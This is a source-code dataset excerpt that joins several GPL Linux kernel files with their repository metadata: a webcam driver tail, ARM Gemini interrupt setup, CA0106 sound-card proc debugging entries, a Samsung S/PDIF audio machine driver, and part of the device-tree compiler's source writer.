(struct sd *) gspca_dev; sd->brightness = val; if (gspca_dev->streaming) setbrightness(gspca_dev); return 0; } static int sd_getbrightness(struct gspca_dev *gspca_dev, __s32 *val) { struct sd *sd = (struct sd *) gspca_dev; *val = sd->brightness; return 0; } static int sd_setcontrast(struct gspca_dev *gspca_dev, __s32 val) { struct sd *sd = (struct sd *) gspca_dev; sd->contrast = val; if (gspca_dev->streaming) setcontrast(gspca_dev); return 0; } static int sd_getcontrast(struct gspca_dev *gspca_dev, __s32 *val) { struct sd *sd = (struct sd *) gspca_dev; *val = sd->contrast; return 0; } static int sd_setcolors(struct gspca_dev *gspca_dev, __s32 val) { struct sd *sd = (struct sd *) gspca_dev; sd->colors = val; if (gspca_dev->streaming) { setbrightness(gspca_dev); setcontrast(gspca_dev); } return 0; } static int sd_getcolors(struct gspca_dev *gspca_dev, __s32 *val) { struct sd *sd = (struct sd *) gspca_dev; *val = sd->colors; return 0; } static int sd_set_jcomp(struct gspca_dev *gspca_dev, struct v4l2_jpegcompression *jcomp) { struct sd *sd = (struct sd *) gspca_dev; if (jcomp->quality < QUALITY_MIN) sd->quality = QUALITY_MIN; else if (jcomp->quality > QUALITY_MAX) sd->quality = QUALITY_MAX; else sd->quality = jcomp->quality; if (gspca_dev->streaming) jpeg_set_qual(sd->jpeg_hdr, sd->quality); return 0; } static int sd_get_jcomp(struct gspca_dev *gspca_dev, struct v4l2_jpegcompression *jcomp) { struct sd *sd = (struct sd *) gspca_dev; memset(jcomp, 0, sizeof *jcomp); jcomp->quality = sd->quality; jcomp->jpeg_markers = V4L2_JPEG_MARKER_DHT | V4L2_JPEG_MARKER_DQT; return 0; } /* sub-driver description */ static const struct sd_desc sd_desc = { .name = MODULE_NAME, .ctrls = sd_ctrls, .nctrls = ARRAY_SIZE(sd_ctrls), .config = sd_config, .init = sd_init, .start = sd_start, .stop0 = sd_stop0, .pkt_scan = sd_pkt_scan, .get_jcomp = sd_get_jcomp, .set_jcomp = sd_set_jcomp, }; /* -- module initialisation -- */ static const struct usb_device_id device_table[] = { {USB_DEVICE(0x0572, 0x0041)}, {} }; MODULE_DEVICE_TABLE(usb, device_table); /* -- device connect -- */ static int sd_probe(struct usb_interface *intf, const struct usb_device_id *id) { return gspca_dev_probe(intf, id, &sd_desc, sizeof(struct sd), THIS_MODULE); } static struct usb_driver sd_driver = { .name = MODULE_NAME, .id_table = device_table, .probe = sd_probe, .disconnect = gspca_disconnect, #ifdef CONFIG_PM .suspend = gspca_suspend, .resume = gspca_resume, #endif }; /* -- module insert / remove -- */ static int __init sd_mod_init(void) { return usb_register(&sd_driver); } static void __exit sd_mod_exit(void) { usb_deregister(&sd_driver); } module_init(sd_mod_init); module_exit(sd_mod_exit);
kernel-hut/next_endeavoru_kernel
drivers/media/video/gspca/conex.c
C
gpl-2.0
32,569
/* * Interrupt routines for Gemini * * Copyright (C) 2001-2006 Storlink, Corp. * Copyright (C) 2008-2009 Paulius Zaleckas <paulius.zaleckas@teltonika.lt> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. */ #include <linux/init.h> #include <linux/io.h> #include <linux/ioport.h> #include <linux/stddef.h> #include <linux/list.h> #include <linux/sched.h> #include <asm/irq.h> #include <asm/mach/irq.h> #include <mach/hardware.h> #define IRQ_SOURCE(base_addr) (base_addr + 0x00) #define IRQ_MASK(base_addr) (base_addr + 0x04) #define IRQ_CLEAR(base_addr) (base_addr + 0x08) #define IRQ_TMODE(base_addr) (base_addr + 0x0C) #define IRQ_TLEVEL(base_addr) (base_addr + 0x10) #define IRQ_STATUS(base_addr) (base_addr + 0x14) #define FIQ_SOURCE(base_addr) (base_addr + 0x20) #define FIQ_MASK(base_addr) (base_addr + 0x24) #define FIQ_CLEAR(base_addr) (base_addr + 0x28) #define FIQ_TMODE(base_addr) (base_addr + 0x2C) #define FIQ_LEVEL(base_addr) (base_addr + 0x30) #define FIQ_STATUS(base_addr) (base_addr + 0x34) static void gemini_ack_irq(struct irq_data *d) { __raw_writel(1 << d->irq, IRQ_CLEAR(IO_ADDRESS(GEMINI_INTERRUPT_BASE))); } static void gemini_mask_irq(struct irq_data *d) { unsigned int mask; mask = __raw_readl(IRQ_MASK(IO_ADDRESS(GEMINI_INTERRUPT_BASE))); mask &= ~(1 << d->irq); __raw_writel(mask, IRQ_MASK(IO_ADDRESS(GEMINI_INTERRUPT_BASE))); } static void gemini_unmask_irq(struct irq_data *d) { unsigned int mask; mask = __raw_readl(IRQ_MASK(IO_ADDRESS(GEMINI_INTERRUPT_BASE))); mask |= (1 << d->irq); __raw_writel(mask, IRQ_MASK(IO_ADDRESS(GEMINI_INTERRUPT_BASE))); } static struct irq_chip gemini_irq_chip = { .name = "INTC", .irq_ack = gemini_ack_irq, .irq_mask = gemini_mask_irq, .irq_unmask = gemini_unmask_irq, }; static struct resource irq_resource = { .name = "irq_handler", .start = IO_ADDRESS(GEMINI_INTERRUPT_BASE), .end = IO_ADDRESS(FIQ_STATUS(GEMINI_INTERRUPT_BASE)) + 4, }; void __init gemini_init_irq(void) { unsigned int i, mode = 0, level = 0; /* * Disable arch_idle() by default since it is buggy * For more info see arch/arm/mach-gemini/include/mach/system.h */ disable_hlt(); request_resource(&iomem_resource, &irq_resource); for (i = 0; i < NR_IRQS; i++) { irq_set_chip(i, &gemini_irq_chip); if((i >= IRQ_TIMER1 && i <= IRQ_TIMER3) || (i >= IRQ_SERIRQ0 && i <= IRQ_SERIRQ1)) { irq_set_handler(i, handle_edge_irq); mode |= 1 << i; level |= 1 << i; } else { irq_set_handler(i, handle_level_irq); } set_irq_flags(i, IRQF_VALID | IRQF_PROBE); } /* Disable all interrupts */ __raw_writel(0, IRQ_MASK(IO_ADDRESS(GEMINI_INTERRUPT_BASE))); __raw_writel(0, FIQ_MASK(IO_ADDRESS(GEMINI_INTERRUPT_BASE))); /* Set interrupt mode */ __raw_writel(mode, IRQ_TMODE(IO_ADDRESS(GEMINI_INTERRUPT_BASE))); __raw_writel(level, IRQ_TLEVEL(IO_ADDRESS(GEMINI_INTERRUPT_BASE))); }
gripped/MK808-headless-nand-3.0.8-rk3066
arch/arm/mach-gemini/irq.c
C
gpl-2.0
3,076
/* * Copyright (c) 2004 James Courtier-Dutton <James@superbug.demon.co.uk> * Driver CA0106 chips. e.g. Sound Blaster Audigy LS and Live 24bit * Version: 0.0.18 * * FEATURES currently supported: * See ca0106_main.c for features. * * Changelog: * Support interrupts per period. * Removed noise from Center/LFE channel when in Analog mode. * Rename and remove mixer controls. * 0.0.6 * Use separate card based DMA buffer for periods table list. * 0.0.7 * Change remove and rename ctrls into lists. * 0.0.8 * Try to fix capture sources. * 0.0.9 * Fix AC3 output. * Enable S32_LE format support. * 0.0.10 * Enable playback 48000 and 96000 rates. (Rates other that these do not work, even with "plug:front".) * 0.0.11 * Add Model name recognition. * 0.0.12 * Correct interrupt timing. interrupt at end of period, instead of in the middle of a playback period. * Remove redundent "voice" handling. * 0.0.13 * Single trigger call for multi channels. * 0.0.14 * Set limits based on what the sound card hardware can do. * playback periods_min=2, periods_max=8 * capture hw constraints require period_size = n * 64 bytes. * playback hw constraints require period_size = n * 64 bytes. * 0.0.15 * Separate ca0106.c into separate functional .c files. * 0.0.16 * Modified Copyright message. * 0.0.17 * Add iec958 file in proc file system to show status of SPDIF in. * 0.0.18 * Implement support for Line-in capture on SB Live 24bit. * * This code was initially based on code from ALSA's emu10k1x.c which is: * Copyright (c) by Francisco Moraes <fmoraes@nc.rr.com> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * */ #include <linux/delay.h> #include <linux/init.h> #include <linux/interrupt.h> #include <linux/moduleparam.h> #include <sound/core.h> #include <sound/initval.h> #include <sound/pcm.h> #include <sound/ac97_codec.h> #include <sound/info.h> #include <sound/asoundef.h> #include <asm/io.h> #include "ca0106.h" #ifdef CONFIG_PROC_FS struct snd_ca0106_category_str { int val; const char *name; }; static struct snd_ca0106_category_str snd_ca0106_con_category[] = { { IEC958_AES1_CON_DAT, "DAT" }, { IEC958_AES1_CON_VCR, "VCR" }, { IEC958_AES1_CON_MICROPHONE, "microphone" }, { IEC958_AES1_CON_SYNTHESIZER, "synthesizer" }, { IEC958_AES1_CON_RATE_CONVERTER, "rate converter" }, { IEC958_AES1_CON_MIXER, "mixer" }, { IEC958_AES1_CON_SAMPLER, "sampler" }, { IEC958_AES1_CON_PCM_CODER, "PCM coder" }, { IEC958_AES1_CON_IEC908_CD, "CD" }, { IEC958_AES1_CON_NON_IEC908_CD, "non-IEC908 CD" }, { IEC958_AES1_CON_GENERAL, "general" }, }; static void snd_ca0106_proc_dump_iec958( struct snd_info_buffer *buffer, u32 value) { int i; u32 status[4]; status[0] = value & 0xff; status[1] = (value >> 8) & 0xff; status[2] = (value >> 16) & 0xff; status[3] = (value >> 24) & 0xff; if (! (status[0] & IEC958_AES0_PROFESSIONAL)) { /* consumer */ snd_iprintf(buffer, "Mode: consumer\n"); snd_iprintf(buffer, "Data: "); if (!(status[0] & IEC958_AES0_NONAUDIO)) { snd_iprintf(buffer, "audio\n"); } else { snd_iprintf(buffer, "non-audio\n"); } snd_iprintf(buffer, "Rate: "); switch (status[3] & IEC958_AES3_CON_FS) { case IEC958_AES3_CON_FS_44100: snd_iprintf(buffer, "44100 Hz\n"); break; case IEC958_AES3_CON_FS_48000: snd_iprintf(buffer, "48000 Hz\n"); break; case IEC958_AES3_CON_FS_32000: snd_iprintf(buffer, "32000 Hz\n"); break; default: snd_iprintf(buffer, "unknown\n"); break; } snd_iprintf(buffer, "Copyright: "); if (status[0] & IEC958_AES0_CON_NOT_COPYRIGHT) { snd_iprintf(buffer, "permitted\n"); } else { snd_iprintf(buffer, "protected\n"); } snd_iprintf(buffer, "Emphasis: "); if ((status[0] & IEC958_AES0_CON_EMPHASIS) != IEC958_AES0_CON_EMPHASIS_5015) { snd_iprintf(buffer, "none\n"); } else { snd_iprintf(buffer, "50/15us\n"); } snd_iprintf(buffer, "Category: "); for (i = 0; i < ARRAY_SIZE(snd_ca0106_con_category); i++) { if ((status[1] & IEC958_AES1_CON_CATEGORY) == snd_ca0106_con_category[i].val) { snd_iprintf(buffer, "%s\n", snd_ca0106_con_category[i].name); break; } } if (i >= ARRAY_SIZE(snd_ca0106_con_category)) { snd_iprintf(buffer, "unknown 0x%x\n", status[1] & IEC958_AES1_CON_CATEGORY); } snd_iprintf(buffer, "Original: "); if (status[1] & IEC958_AES1_CON_ORIGINAL) { snd_iprintf(buffer, "original\n"); } else { snd_iprintf(buffer, "1st generation\n"); } snd_iprintf(buffer, "Clock: "); switch (status[3] & IEC958_AES3_CON_CLOCK) { case IEC958_AES3_CON_CLOCK_1000PPM: snd_iprintf(buffer, "1000 ppm\n"); break; case IEC958_AES3_CON_CLOCK_50PPM: snd_iprintf(buffer, "50 ppm\n"); break; case IEC958_AES3_CON_CLOCK_VARIABLE: snd_iprintf(buffer, "variable pitch\n"); break; default: snd_iprintf(buffer, "unknown\n"); break; } } else { snd_iprintf(buffer, "Mode: professional\n"); snd_iprintf(buffer, "Data: "); if (!(status[0] & IEC958_AES0_NONAUDIO)) { snd_iprintf(buffer, "audio\n"); } else { snd_iprintf(buffer, "non-audio\n"); } snd_iprintf(buffer, "Rate: "); switch (status[0] & IEC958_AES0_PRO_FS) { case IEC958_AES0_PRO_FS_44100: snd_iprintf(buffer, "44100 Hz\n"); break; case IEC958_AES0_PRO_FS_48000: snd_iprintf(buffer, "48000 Hz\n"); break; case IEC958_AES0_PRO_FS_32000: snd_iprintf(buffer, "32000 Hz\n"); break; default: snd_iprintf(buffer, "unknown\n"); break; } snd_iprintf(buffer, "Rate Locked: "); if (status[0] & IEC958_AES0_PRO_FREQ_UNLOCKED) snd_iprintf(buffer, "no\n"); else snd_iprintf(buffer, "yes\n"); snd_iprintf(buffer, "Emphasis: "); switch (status[0] & IEC958_AES0_PRO_EMPHASIS) { case IEC958_AES0_PRO_EMPHASIS_CCITT: snd_iprintf(buffer, "CCITT J.17\n"); break; case IEC958_AES0_PRO_EMPHASIS_NONE: snd_iprintf(buffer, "none\n"); break; case IEC958_AES0_PRO_EMPHASIS_5015: snd_iprintf(buffer, "50/15us\n"); break; case IEC958_AES0_PRO_EMPHASIS_NOTID: default: snd_iprintf(buffer, "unknown\n"); break; } snd_iprintf(buffer, "Stereophonic: "); if ((status[1] & IEC958_AES1_PRO_MODE) == IEC958_AES1_PRO_MODE_STEREOPHONIC) { snd_iprintf(buffer, "stereo\n"); } else { snd_iprintf(buffer, "not indicated\n"); } snd_iprintf(buffer, "Userbits: "); switch (status[1] & IEC958_AES1_PRO_USERBITS) { case IEC958_AES1_PRO_USERBITS_192: snd_iprintf(buffer, "192bit\n"); break; case IEC958_AES1_PRO_USERBITS_UDEF: snd_iprintf(buffer, "user-defined\n"); break; default: snd_iprintf(buffer, "unknown\n"); break; } snd_iprintf(buffer, "Sample Bits: "); switch (status[2] & IEC958_AES2_PRO_SBITS) { case IEC958_AES2_PRO_SBITS_20: snd_iprintf(buffer, "20 bit\n"); break; case IEC958_AES2_PRO_SBITS_24: snd_iprintf(buffer, "24 bit\n"); break; case IEC958_AES2_PRO_SBITS_UDEF: snd_iprintf(buffer, "user defined\n"); break; default: snd_iprintf(buffer, "unknown\n"); break; } snd_iprintf(buffer, "Word Length: "); switch (status[2] & IEC958_AES2_PRO_WORDLEN) { case IEC958_AES2_PRO_WORDLEN_22_18: snd_iprintf(buffer, "22 bit or 18 bit\n"); break; case IEC958_AES2_PRO_WORDLEN_23_19: snd_iprintf(buffer, "23 bit or 19 bit\n"); break; case IEC958_AES2_PRO_WORDLEN_24_20: snd_iprintf(buffer, "24 bit or 20 bit\n"); break; case IEC958_AES2_PRO_WORDLEN_20_16: snd_iprintf(buffer, "20 bit or 16 bit\n"); break; default: snd_iprintf(buffer, "unknown\n"); break; } } } static void snd_ca0106_proc_iec958(struct snd_info_entry *entry, struct snd_info_buffer *buffer) { struct snd_ca0106 *emu = entry->private_data; u32 value; value = snd_ca0106_ptr_read(emu, SAMPLE_RATE_TRACKER_STATUS, 0); snd_iprintf(buffer, "Status: %s, %s, %s\n", (value & 0x100000) ? "Rate Locked" : "Not Rate Locked", (value & 0x200000) ? "SPDIF Locked" : "No SPDIF Lock", (value & 0x400000) ? "Audio Valid" : "No valid audio" ); snd_iprintf(buffer, "Estimated sample rate: %u\n", ((value & 0xfffff) * 48000) / 0x8000 ); if (value & 0x200000) { snd_iprintf(buffer, "IEC958/SPDIF input status:\n"); value = snd_ca0106_ptr_read(emu, SPDIF_INPUT_STATUS, 0); snd_ca0106_proc_dump_iec958(buffer, value); } snd_iprintf(buffer, "\n"); } static void snd_ca0106_proc_reg_write32(struct snd_info_entry *entry, struct snd_info_buffer *buffer) { struct snd_ca0106 *emu = entry->private_data; unsigned long flags; char line[64]; u32 reg, val; while (!snd_info_get_line(buffer, line, sizeof(line))) { if (sscanf(line, "%x %x", &reg, &val) != 2) continue; if (reg < 0x40 && val <= 0xffffffff) { spin_lock_irqsave(&emu->emu_lock, flags); outl(val, emu->port + (reg & 0xfffffffc)); spin_unlock_irqrestore(&emu->emu_lock, flags); } } } static void snd_ca0106_proc_reg_read32(struct snd_info_entry *entry, struct snd_info_buffer *buffer) { struct snd_ca0106 *emu = entry->private_data; unsigned long value; unsigned long flags; int i; snd_iprintf(buffer, "Registers:\n\n"); for(i = 0; i < 0x20; i+=4) { spin_lock_irqsave(&emu->emu_lock, flags); value = inl(emu->port + i); spin_unlock_irqrestore(&emu->emu_lock, flags); snd_iprintf(buffer, "Register %02X: %08lX\n", i, value); } } static void snd_ca0106_proc_reg_read16(struct snd_info_entry *entry, struct snd_info_buffer *buffer) { struct snd_ca0106 *emu = entry->private_data; unsigned int value; unsigned long flags; int i; snd_iprintf(buffer, "Registers:\n\n"); for(i = 0; i < 0x20; i+=2) { spin_lock_irqsave(&emu->emu_lock, flags); value = inw(emu->port + i); spin_unlock_irqrestore(&emu->emu_lock, flags); snd_iprintf(buffer, "Register %02X: %04X\n", i, value); } } static void snd_ca0106_proc_reg_read8(struct snd_info_entry *entry, struct snd_info_buffer *buffer) { struct snd_ca0106 *emu = entry->private_data; unsigned int value; unsigned long flags; int i; snd_iprintf(buffer, "Registers:\n\n"); for(i = 0; i < 0x20; i+=1) { spin_lock_irqsave(&emu->emu_lock, flags); value = inb(emu->port + i); spin_unlock_irqrestore(&emu->emu_lock, flags); snd_iprintf(buffer, "Register %02X: %02X\n", i, value); } } static void snd_ca0106_proc_reg_read1(struct snd_info_entry *entry, struct snd_info_buffer *buffer) { struct snd_ca0106 *emu = entry->private_data; unsigned long value; int i,j; snd_iprintf(buffer, "Registers\n"); for(i = 0; i < 0x40; i++) { snd_iprintf(buffer, "%02X: ",i); for (j = 0; j < 4; j++) { value = snd_ca0106_ptr_read(emu, i, j); snd_iprintf(buffer, "%08lX ", value); } snd_iprintf(buffer, "\n"); } } static void snd_ca0106_proc_reg_read2(struct snd_info_entry *entry, struct snd_info_buffer *buffer) { struct snd_ca0106 *emu = entry->private_data; unsigned long value; int i,j; snd_iprintf(buffer, "Registers\n"); for(i = 0x40; i < 0x80; i++) { snd_iprintf(buffer, "%02X: ",i); for (j = 0; j < 4; j++) { value = snd_ca0106_ptr_read(emu, i, j); snd_iprintf(buffer, "%08lX ", value); } snd_iprintf(buffer, "\n"); } } static void snd_ca0106_proc_reg_write(struct snd_info_entry *entry, struct snd_info_buffer *buffer) { struct snd_ca0106 *emu = entry->private_data; char line[64]; unsigned int reg, channel_id , val; while (!snd_info_get_line(buffer, line, sizeof(line))) { if (sscanf(line, "%x %x %x", &reg, &channel_id, &val) != 3) continue; if (reg < 0x80 && val <= 0xffffffff && channel_id <= 3) snd_ca0106_ptr_write(emu, reg, channel_id, val); } } static void snd_ca0106_proc_i2c_write(struct snd_info_entry *entry, struct snd_info_buffer *buffer) { struct snd_ca0106 *emu = entry->private_data; char line[64]; unsigned int reg, val; while (!snd_info_get_line(buffer, line, sizeof(line))) { if (sscanf(line, "%x %x", &reg, &val) != 2) continue; if ((reg <= 0x7f) || (val <= 0x1ff)) { snd_ca0106_i2c_write(emu, reg, val); } } } int snd_ca0106_proc_init(struct snd_ca0106 *emu) { struct snd_info_entry *entry; if(! snd_card_proc_new(emu->card, "iec958", &entry)) snd_info_set_text_ops(entry, emu, snd_ca0106_proc_iec958); if(! snd_card_proc_new(emu->card, "ca0106_reg32", &entry)) { snd_info_set_text_ops(entry, emu, snd_ca0106_proc_reg_read32); entry->c.text.write = snd_ca0106_proc_reg_write32; entry->mode |= S_IWUSR; } if(! snd_card_proc_new(emu->card, "ca0106_reg16", &entry)) snd_info_set_text_ops(entry, emu, snd_ca0106_proc_reg_read16); if(! snd_card_proc_new(emu->card, "ca0106_reg8", &entry)) snd_info_set_text_ops(entry, emu, snd_ca0106_proc_reg_read8); if(! snd_card_proc_new(emu->card, "ca0106_regs1", &entry)) { snd_info_set_text_ops(entry, emu, snd_ca0106_proc_reg_read1); entry->c.text.write = snd_ca0106_proc_reg_write; entry->mode |= S_IWUSR; } if(! snd_card_proc_new(emu->card, "ca0106_i2c", &entry)) { entry->c.text.write = snd_ca0106_proc_i2c_write; entry->private_data = emu; entry->mode |= S_IWUSR; } if(! snd_card_proc_new(emu->card, "ca0106_regs2", &entry)) snd_info_set_text_ops(entry, emu, snd_ca0106_proc_reg_read2); return 0; } #endif /* CONFIG_PROC_FS */
CyanogenMod/android_kernel_samsung_trelte
sound/pci/ca0106/ca0106_proc.c
C
gpl-2.0
14,338
/* * smdk_spdif.c -- S/PDIF audio for SMDK * * Copyright 2010 Samsung Electronics Co. Ltd. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * */ #include <linux/clk.h> #include <linux/module.h> #include <sound/soc.h> #include "spdif.h" /* Audio clock settings are belonged to board specific part. Every * board can set audio source clock setting which is matched with H/W * like this function-'set_audio_clock_heirachy'. */ static int set_audio_clock_heirachy(struct platform_device *pdev) { struct clk *fout_epll, *mout_epll, *sclk_audio0, *sclk_spdif; int ret = 0; fout_epll = clk_get(NULL, "fout_epll"); if (IS_ERR(fout_epll)) { printk(KERN_WARNING "%s: Cannot find fout_epll.\n", __func__); return -EINVAL; } mout_epll = clk_get(NULL, "mout_epll"); if (IS_ERR(mout_epll)) { printk(KERN_WARNING "%s: Cannot find mout_epll.\n", __func__); ret = -EINVAL; goto out1; } sclk_audio0 = clk_get(&pdev->dev, "sclk_audio"); if (IS_ERR(sclk_audio0)) { printk(KERN_WARNING "%s: Cannot find sclk_audio.\n", __func__); ret = -EINVAL; goto out2; } sclk_spdif = clk_get(NULL, "sclk_spdif"); if (IS_ERR(sclk_spdif)) { printk(KERN_WARNING "%s: Cannot find sclk_spdif.\n", __func__); ret = -EINVAL; goto out3; } /* Set audio clock hierarchy for S/PDIF */ clk_set_parent(mout_epll, fout_epll); clk_set_parent(sclk_audio0, mout_epll); clk_set_parent(sclk_spdif, sclk_audio0); clk_put(sclk_spdif); out3: clk_put(sclk_audio0); out2: clk_put(mout_epll); out1: clk_put(fout_epll); return ret; } /* We should haved to set clock directly on this part because of clock * scheme of Samsudng SoCs did not support to set rates from abstrct * clock of it's hierarchy. */ static int set_audio_clock_rate(unsigned long epll_rate, unsigned long audio_rate) { struct clk *fout_epll, *sclk_spdif; fout_epll = clk_get(NULL, "fout_epll"); if (IS_ERR(fout_epll)) { printk(KERN_ERR "%s: failed to get fout_epll\n", __func__); return -ENOENT; } clk_set_rate(fout_epll, epll_rate); clk_put(fout_epll); sclk_spdif = clk_get(NULL, "sclk_spdif"); if (IS_ERR(sclk_spdif)) { printk(KERN_ERR "%s: failed to get sclk_spdif\n", __func__); return -ENOENT; } clk_set_rate(sclk_spdif, audio_rate); clk_put(sclk_spdif); return 0; } static int smdk_hw_params(struct snd_pcm_substream *substream, struct snd_pcm_hw_params *params) { struct snd_soc_pcm_runtime *rtd = substream->private_data; struct snd_soc_dai *cpu_dai = rtd->cpu_dai; unsigned long pll_out, rclk_rate; int ret, ratio; switch (params_rate(params)) { case 44100: pll_out = 45158400; break; case 32000: case 48000: case 96000: pll_out = 49152000; break; default: return -EINVAL; } /* Setting ratio to 512fs helps to use S/PDIF with HDMI without * modify S/PDIF ASoC machine driver. */ ratio = 512; rclk_rate = params_rate(params) * ratio; /* Set audio source clock rates */ ret = set_audio_clock_rate(pll_out, rclk_rate); if (ret < 0) return ret; /* Set S/PDIF uses internal source clock */ ret = snd_soc_dai_set_sysclk(cpu_dai, SND_SOC_SPDIF_INT_MCLK, rclk_rate, SND_SOC_CLOCK_IN); if (ret < 0) return ret; return ret; } static struct snd_soc_ops smdk_spdif_ops = { .hw_params = smdk_hw_params, }; static struct snd_soc_dai_link smdk_dai = { .name = "S/PDIF", .stream_name = "S/PDIF PCM Playback", .platform_name = "samsung-spdif", .cpu_dai_name = "samsung-spdif", .codec_dai_name = "dit-hifi", .codec_name = "spdif-dit", .ops = &smdk_spdif_ops, }; static struct snd_soc_card smdk = { .name = "SMDK-S/PDIF", .owner = THIS_MODULE, .dai_link = &smdk_dai, .num_links = 1, }; static struct platform_device *smdk_snd_spdif_dit_device; static struct platform_device *smdk_snd_spdif_device; static int __init smdk_init(void) { int ret; smdk_snd_spdif_dit_device = platform_device_alloc("spdif-dit", -1); if (!smdk_snd_spdif_dit_device) return -ENOMEM; ret = platform_device_add(smdk_snd_spdif_dit_device); if (ret) goto err1; smdk_snd_spdif_device = platform_device_alloc("soc-audio", -1); if (!smdk_snd_spdif_device) { ret = -ENOMEM; goto err2; } platform_set_drvdata(smdk_snd_spdif_device, &smdk); ret = platform_device_add(smdk_snd_spdif_device); if (ret) goto err3; /* Set audio clock hierarchy manually */ ret = set_audio_clock_heirachy(smdk_snd_spdif_device); if (ret) goto err4; return 0; err4: platform_device_del(smdk_snd_spdif_device); err3: platform_device_put(smdk_snd_spdif_device); err2: platform_device_del(smdk_snd_spdif_dit_device); err1: platform_device_put(smdk_snd_spdif_dit_device); return ret; } static void __exit smdk_exit(void) { platform_device_unregister(smdk_snd_spdif_device); platform_device_unregister(smdk_snd_spdif_dit_device); } module_init(smdk_init); module_exit(smdk_exit); MODULE_AUTHOR("Seungwhan Youn, <sw.youn@samsung.com>"); MODULE_DESCRIPTION("ALSA SoC SMDK+S/PDIF"); MODULE_LICENSE("GPL");
bju2000/android_kernel_samsung_slteskt
sound/soc/samsung/smdk_spdif.c
C
gpl-2.0
5,174
/* * (C) Copyright David Gibson <dwg@au1.ibm.com>, IBM Corporation. 2005. * * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 * USA */ #include "dtc.h" #include "srcpos.h" extern FILE *yyin; extern int yyparse(void); extern YYLTYPE yylloc; struct boot_info *the_boot_info; int treesource_error; struct boot_info *dt_from_source(const char *fname) { the_boot_info = NULL; treesource_error = 0; srcfile_push(fname); yyin = current_srcfile->f; yylloc.file = current_srcfile; if (yyparse() != 0) die("Unable to parse input tree\n"); if (treesource_error) die("Syntax error parsing input tree\n"); return the_boot_info; } static void write_prefix(FILE *f, int level) { int i; for (i = 0; i < level; i++) fputc('\t', f); } static int isstring(char c) { return (isprint(c) || (c == '\0') || strchr("\a\b\t\n\v\f\r", c)); } static void write_propval_string(FILE *f, struct data val) { const char *str = val.val; int i; struct marker *m = val.markers; assert(str[val.len-1] == '\0'); while (m && (m->offset == 0)) { if (m->type == LABEL) fprintf(f, "%s: ", m->ref); m = m->next; } fprintf(f, "\""); for (i = 0; i < (val.len-1); i++) { char c = str[i]; switch (c) { case '\a': fprintf(f, "\\a"); break; case '\b': fprintf(f, "\\b"); break; case '\t': fprintf(f, "\\t"); break; case '\n': fprintf(f, "\\n"); break; case '\v': fprintf(f, "\\v"); break; case '\f': fprintf(f, "\\f"); break; case '\r': fprintf(f, "\\r"); break; case '\\': fprintf(f, "\\\\"); break; case '\"': fprintf(f, "\\\""); break; case '\0': fprintf(f, "\", "); while (m && (m->offset < i)) { if (m->type == LABEL) { assert(m->offset == (i+1)); fprintf(f, "%s: ", m->ref); } m = m->next; } fprintf(f, "\""); break; default: if (isprint(c)) fprintf(f, "%c", c); else fprintf(f, "\\x%02hhx", c); } } fprintf(f, "\""); /* Wrap up any labels at the end of the value */ for_each_marker_of_type(m, LABEL) { assert (m->offset == val.len); fprintf(f, " %s:", m->ref); } } static void write_propval_cells(FILE *f, struct data val) { void *propend = val.val + val.len; cell_t *cp = (cell_t *)val.val; struct marker *m = val.markers; fprintf(f, "<"); for (;;) { while (m && (m->offset <= ((char *)cp - val.val))) { if (m->type == LABEL) { assert(m->offset == ((char *)cp - val.val)); fprintf(f, "%s: ", m->ref); } m = m->next; } fprintf(f, "0x%x", fdt32_to_cpu(*cp++)); if ((void *)cp >= propend) break; fprintf(f, " "); } /* Wrap up any labels at the end of the value */ for_each_marker_of_type(m, LABEL) { assert (m->offset == val.len); fprintf(f, " %s:", m->ref); } fprintf(f, ">"); } static void write_propval_bytes(FILE *f, struct data val) { void *propend = val.val + val.len; const char *bp = val.val; struct marker *m = val.markers; fprintf(f, "["); for (;;) { while (m && (m->offset == (bp-val.val))) { if (m->type == LABEL) fprintf(f, "%s: ", m->ref); m = m->next; } fprintf(f, "%02hhx", *bp++); if ((const void *)bp >= propend) break; fprintf(f, " "); } /* Wrap up any labels at the end of the value */ for_each_marker_of_type(m, LABEL) { assert (m->offset == val.len); fprintf(f, " %s:", m->ref); } fprintf(f, "]"); } static void write_propval(FILE *f, struct property *prop) { int len = prop->val.len; const char *p = prop->val.val; struct marker *m = prop->val.markers; int nnotstring = 0, nnul = 0; int nnotstringlbl = 0, nnotcelllbl = 0; int i; if (len == 0) { fprintf(f, ";\n"); return; } for (i = 0; i < len; i++) { if (! isstring(p[i])) nnotstring++; if (p[i] == '\0') nnul++; } for_each_marker_of_type(m, LABEL) { if ((m->offset > 0) && (prop->val.val[m->offset - 1] != '\0')) nnotstringlbl++; if ((m->offset % sizeof(cell_t)) != 0) nnotcelllbl++; } fprintf(f, " = "); if ((p[len-1] == '\0') && (nnotstring == 0) && (nnul < (len-nnul)) && (nnotstringlbl == 0)) { write_propval_string(f, prop->val); } else if (((len % sizeof(cell_t)) == 0) && (nnotcelllbl == 0)) { write_propval_cells(f, prop->val); } else { write_propval_bytes(f, prop->val); } fprintf(f, ";\n"); } static void write_tree_source_node(FILE *f, struct node *tree, int level) { struct property *prop; struct node *child; struct label *l; write_prefix(f, level); for_each_label(tree->labels, l) fprintf(f, "%s: ", l->label); if (tree->name && (*tree->name)) fprintf(f, "%s {\n", tree->name); else fprintf(f, "/ {\n"); for_each_property(tree, prop) { write_prefix(f, level+1); for_each_label(prop->labels, l) fprintf(f, "%s: ", l->label); fprintf(f, "%s", prop->name); write_propval(f, prop); } for_each_child(tree, child) { 